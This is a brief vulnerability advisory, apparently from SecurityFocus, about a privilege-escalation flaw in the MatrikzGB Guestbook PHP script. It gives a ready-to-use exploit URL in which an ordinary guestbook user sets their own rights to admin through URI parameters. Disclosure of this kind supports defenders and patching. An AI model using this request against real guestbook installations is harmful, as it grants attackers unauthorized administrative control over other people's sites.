source: http://www.securityfocus.com/bid/8430/info

MatrikzGB Guestbook is prone to a vulnerability that may permit guestbook users to gain administrative rights. It is possible to exploit this issue by manipulating URI parameters. 

http://www.example.com/php/gaestebuch/admin/index.php?do=options&action=optionsok&new_username=regularuser&new_password=regularpass&new_rights=admin&user=regularuser&pass=regularpass

where regularuser and regularpass equal the user credentials of the attacker.